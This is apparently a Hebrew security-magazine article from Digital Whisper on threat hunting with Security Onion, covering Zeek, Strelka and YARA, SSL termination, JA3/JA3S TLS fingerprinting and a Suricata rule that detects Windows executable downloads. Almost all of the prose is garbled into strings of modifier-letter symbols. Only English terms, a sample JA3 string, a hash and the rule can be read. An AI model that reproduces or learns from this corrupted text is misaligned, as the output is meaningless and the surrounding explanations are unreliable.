SALT ˞ˣˢ ˧˪˩ ˪ˣˢ˧ˮˢ ˪˷ ˫˧˶˵ˣˡˢ ˫˧˶ˮ˧˧˦ˮˣ˵ˢˣ Σˣ˸˧˞ˣ ˣˮ˞ ˶ˤ˰ˮ˫˧ ˪˰ ˸ˮˬ ˪ˢˮ˪ ˸˞ ˸ˣˮ˵˸ˢˢ Σˢ˪˰˲ˢˢ 

ˢ˶ˣ˴˸ˢˣ ˫ˢ˪˷ Φ˫˧ˠˣ˶ˡ˷ Σ˸˪˟˵ ˫˧˯ˣ˦˦˯ Σ˧˩˧˪ˢ ˢ˵ˣˤ˥˸ ˫˧ˮˣ˷ - ˪˩ˢ ˰˴ˣ˟ˬ ˨˶ˡ sπSALT ˫˰ ˢ˷˧ˠ 

ˢ˶˧˷˧ ˸˩˶˰ˬˢˬ Φ 
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˪ˣ˰˲˸ ˸˩˶˰ˬˢ 

˪˰ ˸ˮˬ ˪ˢˮ˪ ˸˞ ˪ˣ˰˲˸ ˸˩˶˰ˬˢ ˞ˡˣˣ˪ˣ ˧˩ ˞˧ˢ ˸˪˰ˣ˲ ˢ˶ˣ˴˟ ˢˮ˧˵˸ Σ˪˩ˣˮ ˸ˣ˲˴˪ ˢˬ˩˟ ˫˧ˮˣ˸ˮΥ GRID - 

ˢ˞˶ˬˢ ˣˮ˪ ˸˞ ˟˴ˬ ˫˧˶ˮ˧˧˦ˮˣ˵ˢ Σ˭ˣ˶˩˧ˤˢ ˢˬˣˡ˩ˣΥ 

 

˨˶ˡˣ ˪ˣ˯ˮˣ˵ˢ ˪˰ ˸ˮˬ ˸ˣ˲˴˪ ˟-Ϧˣ˩ˣˮ˲˟ Ϧ˪˷ ˸˩˶˰ˬˢ - ˸˴˶ˢ ˸ˣˡˣ˵˲ CLI ˨˩ˣ ˪˟˵˪ ˰ˡ˧ˬ ˳ˣ˶˰˟ ˶˧˷˧ Φ

˰ˡ˧ˬˢ ˫˶ˤˣˬ ˸˩˶˰ˬ˪ ˨˶ˡ agentπ˫˧ - ˫˧ˮ˩ˣ˯ - ˶˷˞ ˫˧˲˯ˣ˞ ˸˞ ˸˶ˣ˷˵˸ˢ ˫˧˶˧˟˰ˬˣ ˢ˸ˣ˞ ˢ˶ˣ˴˟ 

˸˶ˡˣ˯ˬ ˸˩˶˰ˬ˪ Φ˭˞˩ ˣˮ˞ ˫˧˟ˢˣ˞ ˡˣ˟˰˪ ˫˰ zeek - ˢˬ˶ˣ˲˦˪˲ Open Source ˶˷˞ ˸˥˸ˮˬ ˸ˣ˦˵˲ 

˸˶ˣ˷˵˸ ˧˷ˣˬ˧˷˪ ˸ˣ˩˶˰ˬ ˶ˣ˦˧ˮ Φ 

˸˰ˬ˦ˢ ˫˧˵ˣ˥ˢ ˸˩˶˰ˬ˪ ˢ˪ˣ˩˧ ˰˴˟˸ˢ˪ ˢˬ˩˟ ˫˧˩˶ˡ - ˨˶ˡ ˢ˥ˣˮ ˞˧ˢ ˸ˣ˰˴ˬ˞˟ ˸˰ˬ˦ˢ URL ˦˧ˠ˪ ˧ˮˣ˴˧˥ 

˶˷˞ ˪˧˩ˬ ˸˶ˣ˴˟ raw text ˸˞ ˫˧˵ˣ˥ˢ Φ˨˩ ˸˩˶˰ˬˢ ˸˩˷ˣˬ ˸˞ ˰ˡ˧ˬˢ ˫˷ˬ ˢ˪˧˥˸ˬˣ ˳˧˲˵ˢ˪ ˸ˣ˰˶˸ˢΥ 
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˫˧˵ˣ˥ ˥ˬˣ ˶˵Threat Hunting  

˶˥˞˪ ˶˟˩˷ ˸ˣˬ˶ˤˣˬ ˪˞ ˸˩˶˰ˬˢ ˸ˣ˦˵˲ ˪˩ˢˣ ˭˧˵˸ Σ˶˧˩ˮ ˢˬ˩ ˸ˣˡˣ˵ˮ ˯˧˯˟ ˸ˣ˪ˣ˩˧ˣ ˨˶ˣ˴˪ ˰ˣ˴˧˟ ˶˵˥ˬ 

threat hunting ˧˸˧ˬ˞ ˟πSecurity Onion Φ 

˸˥˞ ˸ˣ˪ˣ˩˧ˢ ˸ˣ˧ˤ˩˶ˬˢ ˸˩˶˰ˬ˟ ˞˧ˢ Strelka Φ˶˟ˣˡˬ ˰ˣˮˬ˟ ˰ˬ˦ˣˬˢ ˸˩˶˰ˬ˟ ˶˷˲˞ˬˢ ˰˴˟˪ ˶˵˥ˬ ˪˰ 

˫˧˴˟˵ ˳˧˲˵ˢ˪ˣ ˣ˰˶˸ˢ ˸˫˞˸ˢ˟ Φ 

πsstrelka ˸ˡ˟ˣ˰ ˸ˣ˰˴ˬ˞˟ ˧˵ˣ˥ YARA ˫˧˰ˬ˦ˣˬˢ ˢ˟ ˢ˟˪˴ˢˣ ˫˰ Blacklists ˸ˣˮˣ˷ Φ˨˩ˣ ˫˴˰˟ ˸˩˶˰ˬˢ 

ˢ˪˧˲˩ˬ ˸˞ ˢ˥ˣ˩ ˞˧ˢˣ ˢˬ˶ˣ˲˦˪˲ ˸˥˞ ˸˪ˠˣ˯ˬˢ ˰˴˟˪ ˫ˠ ˶˵˥ˬ ˸˶ˣ˷˵˸ ˫ˠˣ ˶˵˥ˬ ˪˰ ˫˧˴˟˵ ˫˧˧˶˞ˮ˧˟ 

Ϧ˟˶˧˥ˬ ˪˷ ˸˥˞ΦϦ 

˱˯ˣˮ˟ Σπsstrelka ˸˶ˬˣ˷ ˸˞ ˫˧˴˟˵ˢ ˸˧˪˞˵ˣ˪ - ˨˩˟ˣ ˫ˠ ˬˢˣˣˢ ˶ˠ˞ˬ ˫˧˴˟˵˪ ˣ˶˟˰˷ ˸˶ˣ˷˵˸˟ ˢ˶ˣ˴˟ 

˸˪ˡˣ˟ˬ ˸˟ˣ˦˪ ˭ˣ˶˩ˮ˯ ˸ˣ˪˧˰˲ˣ ˪ˣˬ ˸ˣ˩˶˰ˬ ˸ˣ˲˯ˣˮ ˭ˣˠ˶˞˟ - ˸ˣ˩˶˰ˬ SIEM x˞ EDR ˸ˣ˲˯ˣˮ ˨˩ˣ ˸˸˪ 

ˢˮˣˬ˸ ˢ˞˪ˬ ˪˷ ˟˴ˬ ˸ˮˠˢ ˶˟˧˧˯ˢ ˭ˣˠ˶˞˟ ˯˯˟˸ˢ˟ ˪˰ ˪˪˩ ˸ˣ˩˶˰ˬˢ Φ 

˸˰˩ˣ ˶ˣ˟˰ˮ ˶˵˥ˬ˪ ˢ˦˵˲ˢ ˢˬ˴˰ Φ˪˟˞ ˧ˮ˲˪ ˭˩ Σ˥˸˲ˮ ˸˴˵ ˸ˣˮ˲˴ˢΦΦΦ 

 

SSL Termination 

ˣˮ˧ˬ˧˟ Σ˶˷˞˩ ˫˪ˣ˰ ˟ˣ˷˥ˬˢ ˸˥˦˟˞ˣ ˰ˡ˧ˬˢ ˶˟˩ ˫ˡ˵˸ˬ ˪˧˩ˬˣ ˸ˣˮˣ˶˵˰ ˫˧˧˯˧˯˟ ˢ˪ˣ˰˲˪ Σ˟ˣ˶ 

˸ˣ˶ˣ˷˵˸ˢ ˪˪˩˟ ˸ˣˮ˲˴ˣˬ Η˪˰ ˸ˮˬ ˸ˣ˲˴˪ ˪˩˟ ˰ˡ˧ˬˢ ˭˲˴ˣˬˢ - ˫˴˰˟ ˡ˥˞ ˫˧˵˪˥ˢ ˧˩ˢ ˫˧˟ˣ˷˥ ˟πthreat 

hunting Σ˭˧˟ˮ ˰ˠ˶ ˢˤ˧˞˟ ˭˲ˣ˞ ˢˮ˲˴ˢˢ ˸˰˴˟˸ˬ ˨˧˞ˣ ˣˮ˞ ˫˧˶˟ˠ˸ˬ ˢ˧˪˰ Φ 

˸˰˟ ˧˴˧˸˶ ˸˶ˣ˷˵˸ ˪ˣˬ ˶˸˞ ˦ˮ˶˦ˮ˧˞ ˪˰˟ ˸ˡˣ˰˸ ˢ˥˦˟˞ ˣˢ˷˪˩ Σ˰˴˟˸ˬ ˨˧˪ˢ˸ˢ ˞˟ˢΥ 

мΦ ˸˶ˣ˷˵˸ˢ ˸ˮ˲˴ˣˬˢ ˟ SSL/TLS-ˢ˪˧˥˸ˬ ˫˰ ˥ˣ˵˪ˢ ˷˵˟ˬ˷ ˶˟˥˸ˢ˪ ˸˶˷˪ ˥˦˟ˣ˞ˬ Φ˥ˣ˵˪ˢ ˥˪ˣ˷ 

˸˷˵˟ ˶ˣ˟˧˥ (handshake) ˸˶˷˪ Φˢ˷˵˟ˢ ˢ˪˧˩ˬ ˸˞ ˸ˬ˧˷˶ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˫˧ˬ˸˧˶ˣˠ˪˞ˢˣ 

˫˧˲˶ˠˣ˦˲˧˶˵ˢ ˥ˣ˵˪ˢ˷ ˪ˣ˩˧ ˨ˣˬ˸˪ ˫ˢ˟. 

нΦ ˸˶˷ˢ ˟˧˷ˬ ˫˰ ˸ˡˣ˰˸ SSL Σˢˡˣ˰˸ ˸˧˪˦˧ˠ˧ˡ ˸ˮ˸˧ˮ˷ ˪˰ ˧ˡ˧ ˸ˣ˩ˬ˯ ˢˮ˧ˬ˞ ˸˶˷˞ˬˣ ˸˞ ˣ˸ˣˢˤ ˪˷ 

˸˶˷ˢ Φ˧˶˥˞ ˸˪˟˵ ˢˡˣ˰˸ˢ Σ˥ˣ˵˪ˢ ˵ˡˣ˟ ˫˞ ˢˡˣ˰˸ˢ ˸˧˵ˣ˥ ˢ˲˵˸ˣΦ 

оΦ ˶˥˞˪ ˫˧˦˶˲ˢ˷ ˣˬ˪˷ˣˢ Σ˪˧˥˸ˬ ˨˧˪ˢ˸ ˢˮ˲˴ˢˢ ˣˬ˴˰Φ 

пΦ Key Exchange ύ˸˲˪˥ˢ ˸ˣ˥˸˲ˬ Υό˥ˣ˵˪ˢ ˸˶˷ˢˣ ˫˧ˬ˞˸ˬ ˫˸˧˶ˣˠ˪˞ ˸˲˪˥ˢ˪ ˸˲ˬ˸ˣ˥ - ˸˶˧˴˧ 

˸ˣ˥˸˲ˬ ˫˧˷ˡ˥ x˞ ˷ˣˬ˧˷ ˸ˣ˥˸˲ˬ˟ ˫˧ˬ˧˧˵ ˸ˮ˲˴ˢ˪ ˸˶ˣ˷˵˸ˢ. 
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рΦ Encryption ύˢˮ˲˴ˢ Υό˰ˡ˧ˬˢ ˥˪˷ˮ˷ ˭˧˟ ˥ˣ˵˪ˢ ˸˶˷ˢˣ ˭˲˴ˣˬ ˸ˣ˰˴ˬ˞˟ ˫˧ˬ˸˧˶ˣˠ˪˞ ˫˧˲˶ˠˣ˦˲˧˶˵ 

Ϧ˲˰ ˠˣ˯ ˢˮ˲˴ˢˢ Φˢˮ˲˴ˢˢ ˢ˥˧˦˟ˬ ˵˶˷ ˧ˬ ˷˧˷ x˪ ˸˞ ˥˸˲ˬ ˢˮ˲˴ˢˢ ˧ˡˣ˥˧˧ˢ ˪˩ˣ˧ ˞ˣ˶˵˪ ˸˞ 

˰ˡ˧ˬˢ. 

сΦ Data Transfer ύ˟˰ˢ˸˶ ˰ˡ˧ˬˢ Υό˶˥˞˪ ˸ˮ˲˴ˢ ˰ˡ˧ˬˢ Σ˞ˣˢ ˶˟˰ˣˬ ˢ˶ˣ˴˟ ˸˥˦˟ˣ˞ˬ ˸˷˶˟. 

тΦ ˶˷˞˩ ˰ˡ˧ˬˢ ˰˧ˠˬ ˸ˡˣ˵ˮ˪ ˫ˣ˧˯ˢ ύTermination Point Σό˨˧˪ˢ˸ ˢˮ˲˴ˢˢ ˵˯˲ˣˬ ˰ˡ˧ˬˢˣ ˶˟˰ˣˬ ˸˶˷˪ 

ˣ˞ ˸˩˶˰ˬ ˸˶˥˞ ˞˪˪ ˢˮ˲˴ˢ Φˢˤ ˶˷˲˞ˬ ˧˸ˣ˶˷˪ ˡ˴ ˧˷˧˪˷ ˪˧˰˲ˢ˪ x˞ ˡ˟˰˪ ˸˞ ˭˩ˣ˸ˢ ˢ˶ˣ˴˟ ˢˮ˧˞˷ 

ˢ˩˧˶˴ˬ ˸ˣ˧˦˶˲ ˢ˞˪ˬ x˞ ˟˞ˢ˥˦ ˸ˡ˥ˣ˧ˬ Φ 

π˟ SSL Termination˸˥˧˸˲ ˢˮ˲˴ˢˢ ˸˧˷˰ˮ ˪˰ ˧ˡ˧ ˸˶˷ˢ ˪˧˰˲ˬˢ ˸˞ ˸ˣ˶˧˷ˢ Φ˶˷˞˩ ˸˶˷ˢ ˪˟˵ˬ ˸˞ 

ˢ˷˵˟ˢ ˥ˣ˵˪ˢˬ Σ˞ˣˢ ˰˴˟ˬ ˸˞ ˸˥˧˸˲ ˢˮ˲˴ˢˢ ˸˪˟˵ˣ ˫˧ˮˣ˸ˮˢ ˥ˣ˵˪ˢˬ Φ˰ˡ˧ˬˢ˷˩ ˰˧ˠˬ ˸ˡˣ˵ˮ˪ 

˸˵˯˲ˢ ˢˮ˲˴ˢˢ Σ˧ˮˣ˸ˮ ˸˶ˣ˷˵˸ˢ ˫˧˶˟˰ˣˬ ˸˟˩˷˪ ˫ˣ˷˧˧ˢ (Application Layer) ˞˪˪ ˮ˲˴ˢˢ. 

ˢ˷˰ˬ˪ Σ˸ˡˣ˵ˮ ˢ˵˯˲ˢˢ ˢˮ˲˴ˢ˟ ˸˷ˬ˷ˬ ˢˡ˧˶˲ˬ˩ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˸ˮ˲˴ˣˬˢ ˸˶ˣ˷˵˸ˢˣ ˧˸˪˟ˢ ˸ˮ˲˴ˣˬ Φ

˸˶˷ˢ ˰˴˟ˬˢ ˸˞ ˨˧˪ˢ˸ ˢ˵˯˲ˢˢ ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˸˶˷ ˪˧˰˲ˬˢ ˸˞ ˢ˧˴˵˧˪˲˞ˢ ˢˬ˴˰ x˞ ˢˤ˩ ˵ˤ˥ˣˬˢ ˭˲ˣ˞˟ 

˵˥ˣ˶ˬ ˪˰ ˧ˡ˧ ˧˸ˣ˶˧˷ ˭ˮ˰ x˞ ˧˸ˣ˶˧˷ CDN (Content Delivery Network) Φ˫˧˸ˣ˶˧˷ ˢ˪˞˩ ˲ˣˬ˫˧˪˰ ˰Ϧ˧ 

˦˲ˣ˯ˣ˶˵˧˧ˬ ΣAWS ˡˣ˰ˣ Φ 

ˢ˷˰ˮ˷˩ ˷ˣˬ˧˷ ˟πSSL termination ˪˰ ˸˶ˣ˷˵˸ˢ Σ˭˸˧ˮ ˸ˣ˲˴˪ ˢ˦˵˲˟ ˞˪˪ ˢˮ˲˴ˢˢ Φ˥˸˲ˬ ˢˮ˲˴ˢˢ 

˷ˬ˷ˬ ˭˧˟ ˥ˣ˵˪ˢ ύx˞ ˧˪˩ ˡ˴ ˧˷˧˪˷ ό˸˶˷˪ ˭˰ˬ˪ ˷ˣˬ˧˷ ˧ˬ˧ˮ˲ ˡ˟˪˟ Φ˭˩˪ Σ˶˷˞˩ ˸˶ˣ˷˵˸ˢ ˢ˰˧ˠˬ ˸ˡˣ˵ˮ˪ 

πsSSL termination Σ˞˧ˢ ˸ˮ˲˴ˣˬ ˡ˰ ˫˷˪ ˤ˞ˣ ˢˮ˲˴ˢˢ ˸˥˸˲ˮ ˧ˡ˩ ˶˷˲˞˪ ˫˧˸˶˷˪ x˞ ˸ˣ˩˶˰ˬ˪ ˸ˣ˧ˮˣ˴˧˥ 

˞ˣ˶˵˪ ˢ˸ˣ˞Φ 

ˢ˷˰ˬ˪ ˫˞ ˢ˴˶ˮ ˸ˣ˲˴˪ ˸˶ˣ˷˵˸˟ ˶˥˞˪ ˢˮ˲˴ˢˢ Σˢ˧ˢˮ ˫˧˟˧˧˥ ˵˲˯˪ ˸˞ ˥˸˲ˬ ˢˮ˲˴ˢˢ ˧˦˶˲ˢ 

˫˧˞˸ˬˢ ύˢˡ˧ˬ˟ ˷˧ˣ ˨˶ˣ˴ x˟ ˫˞˸ˢ˟ ˪ˣ˵ˣ˦ˣ˶˲˪ ˢˮ˲˴ˢˢ ό˧ˡ˩ ˥ˮ˰˲˪ ˸˞ ˸˶ˣ˷˵˸ˢΦ 

˭˩˪ˣ ˢˤ ˞˪ ˶ˬˣ˞ ˭˸˧ˮ˷ ˷ˬ˸˷ˢ˪ ˟πSSL Termination ˪˰ ˪˩ ˸˶ˣ˷˵˸ - ˞˪˞ ˵˶ ˸ˣ˶ˣ˷˵˸˟ ˭ˣˠ˶˞ˢ˷ ˣˮ˞˷ 

˫˧˪ˢˮˬ ˸˞ ˸˷˶ˢ ˣ˪˷ ˶˴ˣ˧ ˪˟˵ˬˣ Σ˶˷˞˩ ˷˧ ˣˮ˪ ˸˞ ˥˸˲ˬ ˢˮ˲˴ˢˢ ˧ˬ˧ˮ˲ˢ ˣ˪˷ Φ 

˭ˣ˧˰˶ ˸˥˧˸˲ ˢˮ˲˴ˢˢ ˶ˤˣ˰ ˣˮ˪ ˪˰ ˸ˮˬ ˭˥˟˞˪ ˸ˣ˧˪ˬˣˮ˞ ˸˶ˣ˷˵˸˟ ˢˬ˴˰ Σ˸˶˟˰ˢ ˫˧˴˟˵ ˡˣ˰ˣ - ˫˴˰˟ˣ 

˸ˣ˧˪˧˟˧ˤ˧ˣ ˪˰ ˪˩ ˸˶ˣ˷˵˸ˢ ˸˶˟ˣ˰ˢ ˭ˣˠ˶˞˟ ˢ˴ˣ˥ˢ ˪˰ ˸ˮˬ ˸˞˪ ˶˸ˣ˧ˣ˪˧˰˲ ˸ˣˡˣ˷˥Φ 

 

  



 
 

  π    
.DigitalWhisper.co.ilwww 

˭ˣ˧˪ˠ 163, x˧˪˧ нлнп  со 
 

ˢˬ  ˢˤJA3Κ 

JA3 ˞˧ˢ ˡ˥˞ ˧ˤ˶ˬ sπThreat Hunting ˶˷˞ ˫˧˪ˣ˩˧ ˰˧˧˯˪ ˣˮ˪ ˸ˣ˟˶ ˭ˣ˧˲˞˟ ˱˵ˣ˸ ˨˶ˡˣ ˣ˸˪ˣ˰˲ Φ˶˟ˣˡˬ 

ˢˬ˧˸˥˟ Σfingerprint ˢˠ˰˟ ˸˧˰ˣ˴˵ˬˢ Σ˶˷˞ ˸˩˧˧˷ ˪˩˪ ˫˶ˣˠ ˶˷˞ ˶˷˵˸ˬ ˟πTLS - ˸˶˷ˢ ˥ˣ˵˪ˢˣ Φ 

˭ˬˤ˟ ˸˥˧˪˷ ˢ˦˵˲ ˸˞ˬ ˥ˣ˵˪ TLS ˨˶ˣ˴˪ ˸˪˧˥˸ ˶ˣ˷˵˸ ˸˭˧˟ ˫˧ˡˡ˴ˢ ˸˶ˠ˯ˬ˟ sπ3-Way-Handshake ˟π

TCP Σ˸˥˪˷ˮ ˸˦˵˲ ϦHELLO Ϧ˸˟˶˰ˬˢ ˫˧˦˶˲ ˫˧˧ˮ˩˦ ˶˷˞ ˫˧˥˪˷ˮ ˫˧˶ˣ˷˵˷ ˢ˧˴˵˧˪˲˞˪ ˢ˟ ˢ˷ˣ˰ 

˥ˣ˵˪ˢ ˷ˣˬ˧˷ Φ˪˷ˬ˪ - ˠˣ˯ ˭˲ˡ˲ˡ Σ˶˧˷˩ˬ Σˡˣ˰ˣ Φ˫˞˸ˢ˟ Σ˸˶˷ˢ ˟˧ˠ˧ ˸˦˵˲˟ ϦHELLO Ϧˢˬˣˡ Σˢ˪˧˩ˬˢ 

˫˧˦˶˲ ˫˧ˬˣˡ ˣ˧˪˰ Φ˫˧˦˶˲ˢ ˣ˪˪ˢ ˫˧˥˪˷ˮ ˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats 

ˢˬˠˣˡ˪Υ 

769,47-53-5-10-49161-49162-49171-49172-50-56-19-4,0-10-11,23-24-25,0 

˫˞ ˡ˥˞ ˸ˣˡ˷ˢˬ ˞˪ ˫˧˧˵ Σˤ˞ ˞ˣˢ ˶˞˷ˮ ˵˧˶Υ 

769,4-5-10-9-100-98-3-6-19-18-99,,, 

˶˥˞˪ ˭˩ˬ ˠˮ˧˶˦˯ˢ ˡ˟ˣ˰ ˡˣˡ˧˵ ˷˟˸˦˧ MD5 ˨˩ˣ ˣˮ˞ ˫˧˪˟˵ˬ ˢˬ˧˸˥ ˸˧ˡˣ˥˧˧ ˪˷ ˷ˬ˸˷ˬ - sπJA3Φ 

de350869b8c85de67a350c8d186f11e6 

JA3S ˞ˣˢ ˸˯˶ˠ ˸˶˷ˢ ˪˷ ˢˬ˧˸˥ˢ - JA3 Server Φ˨˩˟ ˣˮ˞ ˫˧˪˟˵ˬ ˸˞ ˸ˬ˧˸˥ Ϧ˸˰˧˟˦ ˰˟˴˞ˢ Ϧ

˸˧ˡˣ˥˧˧ˢ ˸˶ˣ˷˵˸˟ - ˟ˣ˷˥ ˶ˬˣ˪ ˧˩ ˰ˡ˧ˬˢ ˢˤˢ ˞˪ ˰˧ˠˬ ˪πmetadata ˣˮ˞˷ ˫˧˞ˣ˶ ˸ˣ˩˶˰ˬ˟ ˶ˣ˦˧ˮˢ 

˸ˣ˧˯˞˪˵ˢ ˞˪˞ ˶ˬ˷ˮ ˸˦˵˲˟ sπTLS ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˸ˣ˰˴ˬ˞˟ ˧˪˩ ˶˵˥ˬ ˸˶ˣ˷˵˸ ˫˧ˮˣ˷ Φ˸ˣ˰˴ˬ˞˟ ˸˰˧˟˦ 

˰˟˴˞ xʕ ˪˩ˣˮ ˭˧˧˲˞˪ ˸˞ ˱˵ˣ˸ˢ ˸ˣ˧ˡˣ˥˧˧˟ Σ˸ˣˢˤ˪ˣ ˸ˣ˧ˣ˪˧˰˲ ˸ˣ˲˯ˣˮ ˣ˪˷ Φ˫ˣ˪˧˴ ˨˯ˬ ˢˬπKIBANA ˫˰ ˢˡ˷ 

πsJA3 sxπJA3S ˢˬˠˣˡ˪Υ 
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˨˶ˣ˴˪ ˢˬˠˡˢ ˪˷ ˸ˣ˪˧˰˲ ˢ˦˵˧˶ˣ˯ˢ ˢ˧˧˲˴ˣ ˸˶ˣ˷˵˸˟ ˫˰ x˞ ˧˪˟ ˢˮ˲˴ˢ Σˣ˰ˬ˦ˣˢ ˸˩˶˰ˬ˟ ˶˲˯ˬ ˸ˣ˦˵˲ 

˸ˣ˧˸˧˧˰˟ ˧˵ˣ˥ˣ ˢ˦˵˧˶ˣ˯ ˫˧˧˯˧˯˟ Φ˯ˮ˩˧ˮ ˸˩˶˰ˬ˪ ˶˥˟ˮˣ ˟πALERTSΦ ˢ˞˶ˮ ˧˩ ˢ˴˲˵ ˢ˰˶˸ˢ ˪˰ ˧ˣˢ˧ˤ ˵ˣ˥ 

πsSuricata ˞˟ˢΥ 

 

˶˥˟ˮ ˟πDrilldownΥ 

 

˶˥˞˪ˣ ˢ˞˶ˮ˷ ˸˞ ˫˧˦˶˲ˢ ˫˧˷˟˧ˢ ˪˰ ˸˶ˣ˷˵˸ˢ Σˣˬ˩ ˪˷ˬ˪ ˸ˣ˟ˣ˸˩ ˶ˣ˵ˬ ˡ˰˧ˣ Σ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ sπ

message ˶˟˰ˣˢ˷ ˢ˩ˣ˸˟Υ 
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˶˥˞˪ˣ DecodeΥ 

 

˸ˮ˧˥˟ˬ ˵ˣ˥ˢ Σˢ˞˶ˮ ˧˩ ˞ˣˢ ˳˧˲˵ˬ ˢ˰˶˸ˢ ˪˩˟ ˫˰˲ ˶˟˰ˣˬ˷ ˟πmessage ˳˟ˣ˵ EXE ύsπheader ˪˷ ˳˟ˣ˵ 

exe ˪˧˥˸˧ ˟πMZ Φˣ˸ˣ˰ˬ˷ˬ π Mark Zbikowski - ˣˬ˷ ˪˷ ˡ˥˞ ˫˧˥˸˲ˬˢ ˫˧˧˶˵˧˰ˢ ˪˷ ˧˴˟˵ DOSπ(MZ Φ

˭˩˪ ˪˩˟ ˫˰˲ ˢˢˣˤˬ˷ sπheader ϦMZ Ϧ- ˳ˣ˲˵˸ ˢ˰˶˸ˢ ˪˰ ˸˶˟˰ˢ ˳˟ˣ˵ EXE Φ 

˵ˣ˥ˢΥ 

alert http $EXTERNAL_NET any - > $HOME_NET any (msg:"ET POLICY PE EXE or DLL Windows 

file download HTTP"; flow:established,to_client; flowbits:isnotset,ET.http.binary; 

flowbits:isnotset,ET.INFO.WindowsUpdate; file_data; cont ent:"MZ" ; within:2; 

byte_jump:4,58,relative,little; content:"PE|00 00|"; distance: - 64; within:4; 

flowbits:set,ET.http.binary; classtype:policy - violation; sid:2018959; rev:4; 

metadata:created_at 2014_08_19, former_category POLICY, updated_at 2023_04_12;)  

ˮ˞ x˫˧˪˟˵ˬ ˱˯ˣˮ˟ ˸˞ ˸ˣ˟ˣ˸˩ ˶ˣ˵ˬˢ ˡ˰˧ˢˣ Σ˶ˣ˷˧˵ˣ ˶˧ˢˬ ˷ˣ˲˧˥˪ ˶˲˯ˬ˟ ˸ˣˬ˶ˣ˲˦˪˲Υ 

 

¶ ˯˧˧˵˪ ˢ˲˯ˣˢ ˶ˡˣ˯ˬ ˡˣ˰˧˸ ˨˶ˣ˴˪ 

¶ ˢ ˪˩˟ ˢ˧˧˲˴-pcap-˸˟ˣ˸˩ˢ ˪ˣˬ ˸˶ˣ˷˵˸ˢ ˫˰ ˫˧ 

¶ ˟ ˷ˣ˲˧˥-VirusTotal  

¶ ˟ ˢ˥˧˸˲-cyberchef - ) ˸˥˧˸˲ ˭ˢ˧ˮ˧˟ ,˸ˣ˟˶ ˸ˣ˪ˣ˩˧ ˪˰˟ ˧ˬˮ˧˥ ˧˪˩

˲ ˭˲ˣ˞˟ ˢ˶ˤ˥ ˡˣˡ˧˵ˣ ˫˧ˡˣˡ˧˵˟ ˡˡˣ˵ˬˢ ˦˯˵˦ ˣ˧˪˞ ˯˧ˮ˩ˢ˪ ˪˩ˣˮ .˦ˣ˷-

base64 ˡˣˡ˧˵ˢ ˧ˮ˲˪ ˦˯˵˦ˢ ˸˞ ˣˮ˪ ˠ˧˴˧ ˞ˣˢˣ ,˪˷ˬ˪( . 

¶ ˸˰˟ ˢ˥˧˸˲ ˪˷ s-pcap ˟ ˣ˸ˣ˞ ˥ˣ˸˲˪ ˨˩˟ˣ ˣ˸ˣ˞ ˡ˧˶ˣˢ˪ ˫˧˪ˣ˩˧ ˣˮ˞-

desktop .˨˧˷ˬˢ˪ˣ ˰˴˟˪ ˢ˶˧˵˥ ˪˷ s-pcap  ˣˡ˟˪-  ˫˧˴˟˵ˢ ˸˲˧˪˷ ˪˪ˣ˩

 ˡ˶˲ˮ˟ ˫ˢ˪˷ ˢ˶˧˵˥ˣ ˫˧˶˟˰ˣˬ˷- ˢ ˪˰ ˱ˡ˰ˣˬˢ ˧˪˩˟ ˷ˬ˸˷ˬ

)Wireshark, networkminer  .(ˢˬˣˡ˩ˣ 
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˶˥˞ˬ ˸˩˶˰ˬˢˣ ˞˧ˢ ˦˵˧ˣ˶˲ open-source ˢ˧˴˦ˮˬˣ˵ˣˡˢ ˢ˪˷ ˞˪ ˢ˞˪ˬ ˷˧ˣ ˢ˟˶ˢ ˫ˣ˵ˬ ˸ˣ˧˸˶˧˴˧˪ - 

˨˩˟ˣ ˢˮ˟ˮ ˫ˠ ˫ˣ˶ˣ˲ sπsecurity onion ˟˞ˢ˦˧ˠ˟ ˭˸˧ˮ˷ ˪ˣ˞˷˪ ˸ˣˮ˰˪ˣ Φ˱˯ˣˮ˟ Σ˧˶˴ˣ˧ ˸˩˶˰ˬˢ ˫˧˵˲˯ˬ 

ˢ˩˧ˬ˸ ˸˧ˮ˩˦ ˫ˣ˪˷˸˟ ˧ˬ˪ ˷˶ˡˮ˷ Φ 

˷ˣ˲˧˥ˢ˫˧ ˸˩˶˰ˬ˟ ˫˧˪ˣ˩˧ ˸ˣ˧ˢ˪ ˫˧˰˴ˣ˟ˬ ˫ˠ ˸ˣ˰˴ˬ˞˟ ˸ˣˬ˷ ˸ˣˡ˷ˢ - ˪˷ˬ˪ Υ 

 

˫ˠˣ ˸˶ˣ˴˸˟ ˯˵ˠ˶ ˶ˣˬ˞˩ ˢ˪˰ˬ Φ˫ˮˬ˞ ˷ˣ˲˧˥ˢ ˯˵ˠ˶˟ ˶ˠ˸˞ˬ ˶˸ˣ˧ Σ˨˞ ˭˸ˣˮ ˣˮ˪ ˸ˣ˶˷˲˞ ˰˴˟˪ ˫˧˷ˣ˲˧˥ 

˫˧˵˧ˣˡˬ ˸ˣ˧˴˲ˣ˞ˢˣ ˸ˣ˟˥˶ ˶˸ˣ˧ Φ 

 

˫ˣ˩˧˯  

˶ˬ˞ˬ˟ ˢˤ ˣˮ˩˶ˡ ˰ˠ˶˪ ˫˪ˣ˰˟ ˶ˣ˦˧ˮˢ sxπSOC Σˣˮ˶˩ˢ ˧ˠˣ˯ ˸ˣ˩˶˰ˬ ˣ˦˧ˮ ˶˸˞ˣ ˸˦˧˷ ˢ˪ˣ˰˲ˢ ˭ˢ˪˷ Φ˱˯ˣˮ˟ 

ˣˮ˶˩ˢ ˶˲˯ˬ ˫˧ˠˣ˯ ˪˷ ˧˵ˣ˥ ˶ˣ˦˧ˮ xπthreat hunting ˶˷˞ ˫˧˰˧˧˯ˬ ˣˮ˪ ˶ˣ˦˧ˮ˟ ˶˵˥ˬ˟ˣ ˸˩˶˰ˬ˟ Φˣˮ˶˟˰ ˪˰ 

˫˧˷ˣ˲˧˥ ˫˪ˣ˰ˣ ˯˵ˠ˶ˢ ˱ˣ˯˟˪ˣ - ˧˶˥˞ ˪˩ ˡ˪˧˟ˢ ˲˞ - ˣˮ˲˷˥ˮ ˸˩˶˰ˬ˪ open source ˸˶˷˲˞ˬ˷ ˣˮ˪ ˟˪˷˪ 

